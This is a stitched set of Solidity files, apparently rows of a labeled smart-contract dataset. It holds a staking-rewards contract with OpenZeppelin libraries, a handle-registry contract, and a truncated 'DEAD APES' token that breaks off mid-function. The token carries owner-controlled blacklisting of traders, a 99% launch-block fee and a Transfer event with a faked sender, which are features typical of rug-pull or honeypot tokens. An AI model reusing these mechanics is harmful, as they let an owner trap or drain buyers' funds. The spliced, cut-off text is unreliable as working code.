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pragma solidity ^0.5.16;
import "@openzeppelin/contracts/math/Math.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
// Inheritance
import "./interfaces/IStakingRewards.sol";
import "./RewardsDistributionRecipient.sol";
import "./Pausable.sol";
// https://docs.synthetix.io/contracts/source/contracts/stakingrewards
contract StakingRewards is IStakingRewards, RewardsDistributionRecipient, ReentrancyGuard, Pausable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/* ========== STATE VARIABLES ========== */
IERC20 public rewardsToken;
IERC20 public stakingToken;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public rewardsDuration = 7 days;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
/* ========== CONSTRUCTOR ========== */
constructor(
address _owner,
address _rewardsDistribution,
address _rewardsToken,
address _stakingToken,
uint256 _rewardsDuration
) public Owned(_owner) {
rewardsToken = IERC20(_rewardsToken);
stakingToken = IERC20(_stakingToken);
rewardsDistribution = _rewardsDistribution;
rewardsDuration = _rewardsDuration;
}
/* ========== VIEWS ========== */
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (_totalSupply == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply)
);
}
function earned(address account) public view returns (uint256) {
return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]);
}
function getRewardForDuration() external view returns (uint256) {
return rewardRate.mul(rewardsDuration);
}
/* ========== MUTATIVE FUNCTIONS ========== */
function stake(uint256 amount) external nonReentrant notPaused updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot withdraw 0");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
stakingToken.safeTransfer(msg.sender, amount);
emit Withdrawn(msg.sender, amount);
}
function getReward() public nonReentrant updateReward(msg.sender) {
uint256 reward = rewards[msg.sender];
if (reward > 0) {
rewards[msg.sender] = 0;
rewardsToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function exit() external {
withdraw(_balances[msg.sender]);
getReward();
}
/* ========== RESTRICTED FUNCTIONS ========== */
function notifyRewardAmount(uint256 reward) external onlyRewardsDistribution updateReward(address(0)) {
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(rewardsDuration);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(rewardsDuration);
}
// Ensure the provided reward amount is not more than the balance in the contract.
// This keeps the reward rate in the right range, preventing overflows due to
// very high values of rewardRate in the earned and rewardsPerToken functions;
// Reward + leftover must be less than 2^256 / 10^18 to avoid overflow.
uint balance = rewardsToken.balanceOf(address(this));
require(rewardRate <= balance.div(rewardsDuration), "Provided reward too high");
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(rewardsDuration);
emit RewardAdded(reward);
}
function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner {
require(
block.timestamp > periodFinish,
"Previous rewards period must be complete before changing the duration for the new period"
);
rewardsDuration = _rewardsDuration;
emit RewardsDurationUpdated(rewardsDuration);
}
/* ========== MODIFIERS ========== */
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
/* ========== EVENTS ========== */
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardsDurationUpdated(uint256 newDuration);
event Recovered(address token, uint256 amount);
}
pragma solidity ^0.5.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
pragma solidity ^0.5.0;
import "./IERC20.sol";
/**
* @dev Optional functions from the ERC20 standard.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* > Note that this information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* `IERC20.balanceOf` and `IERC20.transfer`.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
pragma solidity ^0.5.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity ^0.5.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the `nonReentrant` modifier
* available, which can be aplied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*/
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
pragma solidity >=0.4.24;
interface IStakingRewards {
// Views
function lastTimeRewardApplicable() external view returns (uint256);
function rewardPerToken() external view returns (uint256);
function earned(address account) external view returns (uint256);
function getRewardForDuration() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
// Mutative
function stake(uint256 amount) external;
function withdraw(uint256 amount) external;
function getReward() external;
function exit() external;
}
pragma solidity ^0.5.16;
// Inheritance
import "./Owned.sol";
contract RewardsDistributionRecipient is Owned {
address public rewardsDistribution;
function notifyRewardAmount(uint256 reward) external;
modifier onlyRewardsDistribution() {
require(msg.sender == rewardsDistribution, "Caller is not RewardsDistribution contract");
_;
}
function setRewardsDistribution(address _rewardsDistribution) external onlyOwner {
rewardsDistribution = _rewardsDistribution;
}
}
pragma solidity ^0.5.16;
// Inheritance
import "./Owned.sol";
contract Pausable is Owned {
uint public lastPauseTime;
bool public paused;
constructor() internal {
// This contract is abstract, and thus cannot be instantiated directly
require(owner != address(0), "Owner must be set");
// Paused will be false, and lastPauseTime will be 0 upon initialisation
}
/**
* @notice Change the paused state of the contract
* @dev Only the contract owner may call this.
*/
function setPaused(bool _paused) external onlyOwner {
// Ensure we're actually changing the state before we do anything
if (_paused == paused) {
return;
}
// Set our paused state.
paused = _paused;
// If applicable, set the last pause time.
if (paused) {
lastPauseTime = now;
}
// Let everyone know that our pause state has changed.
emit PauseChanged(paused);
}
event PauseChanged(bool isPaused);
modifier notPaused {
require(!paused, "This action cannot be performed while the contract is paused");
_;
}
}
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.0;
/**
* @dev Collection of functions related to the address type,
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* > It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
pragma solidity ^0.5.16;
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
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pragma solidity 0.7.5;
/**
* @dev Worldwide OpenBazaar Resource Finder Naming Service(WorfNS)
* A simple naming service to register handles on FCFS basis
*/
contract WNS {
event NewHandle(string handle, bytes data, address indexed owner);
event NewDisplayName(string handle, string displayName);
event NewImageLocation(string handle, string imageLocation);
event NewPeerId(string handle, bytes data);
event OwnershipTransferred(string handle, address indexed newOwner);
event HandleRemoved(string handle);
struct Handle{
address handleOwner;//Owner of the handle
string handleName;//This should be unqiue in nature
string displayName;//Need not to be unqiue
string imageLocation;//Can be an URI or IPNS address
bytes data;//extra data
}
//Unique handle hash versus Handle
mapping(bytes32=>Handle) handleNameHashVsHandle;
//addresses who are allowed to handles on other user's behalf
mapping(address=>bool) public superUsers;
modifier onlyHandleOwner(string memory handle){
require(
handleNameHashVsHandle[keccak256(abi.encodePacked(handle))].handleOwner == msg.sender,
"Unauthorized access to Handle"
);
_;
}
modifier handleExists(string memory handle){
require(
handleNameHashVsHandle[keccak256(abi.encodePacked(handle))].handleOwner != address(0),
"Handle does not exists"
);
_;
}
modifier handleAvailable(string memory handle){
require(
handleNameHashVsHandle[keccak256(abi.encodePacked(handle))].handleOwner == address(0),
"Handle is already taken"
);
_;
}
modifier nonZeroAddress(address _address){
require(_address != address(0), "0 address sent");
_;
}
modifier onlySuperUser(){
require(superUsers[msg.sender], "Not a super user");
_;
}
constructor(address[] memory _superUsers)public {
for(uint i = 0;i<_superUsers.length;i++){
superUsers[_superUsers[i]] = true;
}
}
/**
* @dev Allows super user to add handle on other user's behalf
* @param owner The address of the owner
* @param handle Unique Handle
* @param _displayName Display name of the entity
* @param _imageLocation URI or IPNS of the image
* @param _data Extra data
*/
function addHandle(
address owner,
string calldata handle,
string calldata _displayName,
string calldata _imageLocation,
bytes calldata _data
)
external
onlySuperUser
nonZeroAddress(owner)
{
_createHandle(
owner,
handle,
_displayName,
_imageLocation,
_data
);
}
/**
* @dev Method to create new handle
* @param handle Unique Handle
* @param _displayName Display name of the entity
* @param _imageLocation URI or IPNS of the image
* @param _data Extra data
*/
function createHandle(
string calldata handle,
string calldata _displayName,
string calldata _imageLocation,
bytes calldata _data
)
external
{
_createHandle(
msg.sender,
handle,
_displayName,
_imageLocation,
_data
);
}
//helper method to add/create new handle in the contract
function _createHandle(
address owner,
string memory handle,
string memory _displayName,
string memory _imageLocation,
bytes memory data
)
private
handleAvailable(handle)
{
require(bytes(handle).length>0, "Empty handle name provided");
bytes32 handleHash = keccak256(abi.encodePacked(handle));
handleNameHashVsHandle[handleHash] = Handle({
handleOwner:owner,
handleName:handle,
displayName:_displayName,
imageLocation:_imageLocation,
data:data
});
emit NewHandle(handle, data, owner);
}
/**
* @dev Transfer handle ownership to new address
* @param handle Handle whose ownership has to be changed
* @param newOwner Address of the new owner
*/
function transferOwnership(
string calldata handle,
address newOwner
)
external
handleExists(handle)
onlyHandleOwner(handle)
nonZeroAddress(newOwner)
{
bytes32 handleHash = keccak256(abi.encodePacked(handle));
require(
newOwner != handleNameHashVsHandle[handleHash].handleOwner,
"New owner is same as previous owner"
);
handleNameHashVsHandle[handleHash].handleOwner = newOwner;
emit OwnershipTransferred(handle, newOwner);
}
/**
* @dev Method to change display name of the entity
* @param handle Handle whose display name has to be changed
* @param newName New Display Name
*/
function changeDisplayName(
string calldata handle,
string calldata newName
)
external
handleExists(handle)
onlyHandleOwner(handle)
{
require(bytes(newName).length>0, "Empyt names not allowed");
handleNameHashVsHandle[keccak256(abi.encodePacked(handle))].displayName = newName;
emit NewDisplayName(handle, newName);
}
/**
* @dev Method to change Location of Image
* @param handle Handle whose image location has to be changed
* @param newImageLocation New Image Location
*/
function changeImageLocation(
string calldata handle,
string calldata newImageLocation
)
external
handleExists(handle)
onlyHandleOwner(handle)
{
handleNameHashVsHandle[keccak256(abi.encodePacked(handle))].imageLocation = newImageLocation;
emit NewImageLocation(handle, newImageLocation);
}
/**
* @dev Method to extra data
* @param handle Handle whose extra data has to be changed
* @param data change extra data
*/
function changePeerId(
string calldata handle,
bytes calldata data
)
external
handleExists(handle)
onlyHandleOwner(handle)
{
handleNameHashVsHandle[keccak256(abi.encodePacked(handle))].data = data;
emit NewPeerId(handle, data);
}
/**
* @dev Method to get handle info about specific handle
* @param handleName The handle whose info has to be fetched
*/
function getHandleInfo(
string calldata handleName
)
external
view
returns(
address owner,
string memory handle,
string memory displayName,
string memory imageLocation,
bytes memory data
)
{
bytes32 handleBytes = keccak256(abi.encodePacked(handleName));
owner = handleNameHashVsHandle[handleBytes].handleOwner;
handle = handleNameHashVsHandle[handleBytes].handleName;
displayName = handleNameHashVsHandle[handleBytes].displayName;
imageLocation = handleNameHashVsHandle[handleBytes].imageLocation;
data = handleNameHashVsHandle[handleBytes].data;
}
/**
* @dev Method to check availability of the handle
* @param handle Handle whose availability has to be checked
*/
function isHandleAvailable(string calldata handle)external view returns(bool){
return handleNameHashVsHandle[keccak256(abi.encodePacked(handle))].handleOwner == address(0);
}
/**
* @dev Method to remove handleS
* @param handle Handle to be removed
*/
function removeHandle(
string calldata handle
)
external
handleExists(handle)
onlyHandleOwner(handle)
{
delete handleNameHashVsHandle[keccak256(abi.encodePacked(handle))];
emit HandleRemoved(handle);
}
} | True | [
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|
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DEADAPES is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _maxTxAmount = _tTotal;
uint256 private openBlock;
uint256 public _swapTokensAtAmount = 100000000000 * 10**9; //0.1%
uint256 private _maxWalletAmount = _tTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "DEAD APES";
string private constant _symbol = "DAPES";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_feeAddrWallet1 = payable(0xCAb0898811b9c3b77F6818faf8dD27a569f6e8a0);
_feeAddrWallet2 = payable(0xCAb0898811b9c3b77F6818faf8dD27a569f6e8a0);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(
address(0xCAb0898811b9c3b77F6818faf8dD27a569f6e8a0),
_msgSender(),
_tTotal
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 4;
_feeAddr2 = 8;
if (from != owner() && to != owner() && from != address(this)) {
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
// Not over max tx amount
require(amount <= _maxTxAmount, "Over max transaction amount.");
// Cooldown
require(cooldown[to] < block.timestamp, "Cooldown enforced.");
// Max wallet
require(balanceOf(to) + amount <= _maxWalletAmount, "Over max wallet amount.");
cooldown[to] = block.timestamp + (30 seconds);
}
if (
to == uniswapV2Pair &&
from != address(uniswapV2Router) &&
!_isExcludedFromFee[from]
) {
_feeAddr1 = 4;
_feeAddr2 = 8;
}
if (openBlock + 3 >= block.number && from == uniswapV2Pair) {
_feeAddr1 = 99;
_feeAddr2 = 1;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
} else {
// Only if it's not from or to owner or from contract address.
_feeAddr1 = 0;
_feeAddr2 = 0;
}
_tokenTransfer(from, to, amount);
}
function swapAndLiquifyEnabled(bool enabled) public onlyOwner {
inSwap = enabled;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function setMaxTxAmount(uint256 amount) public onlyOwner {
_maxTxAmount = amount * 10**9;
}
function setMaxWalletAmount(uint256 amount) public onlyOwner {
_maxWalletAmount = amount * 10**9;
}
function openTrading() external onlyOwner {
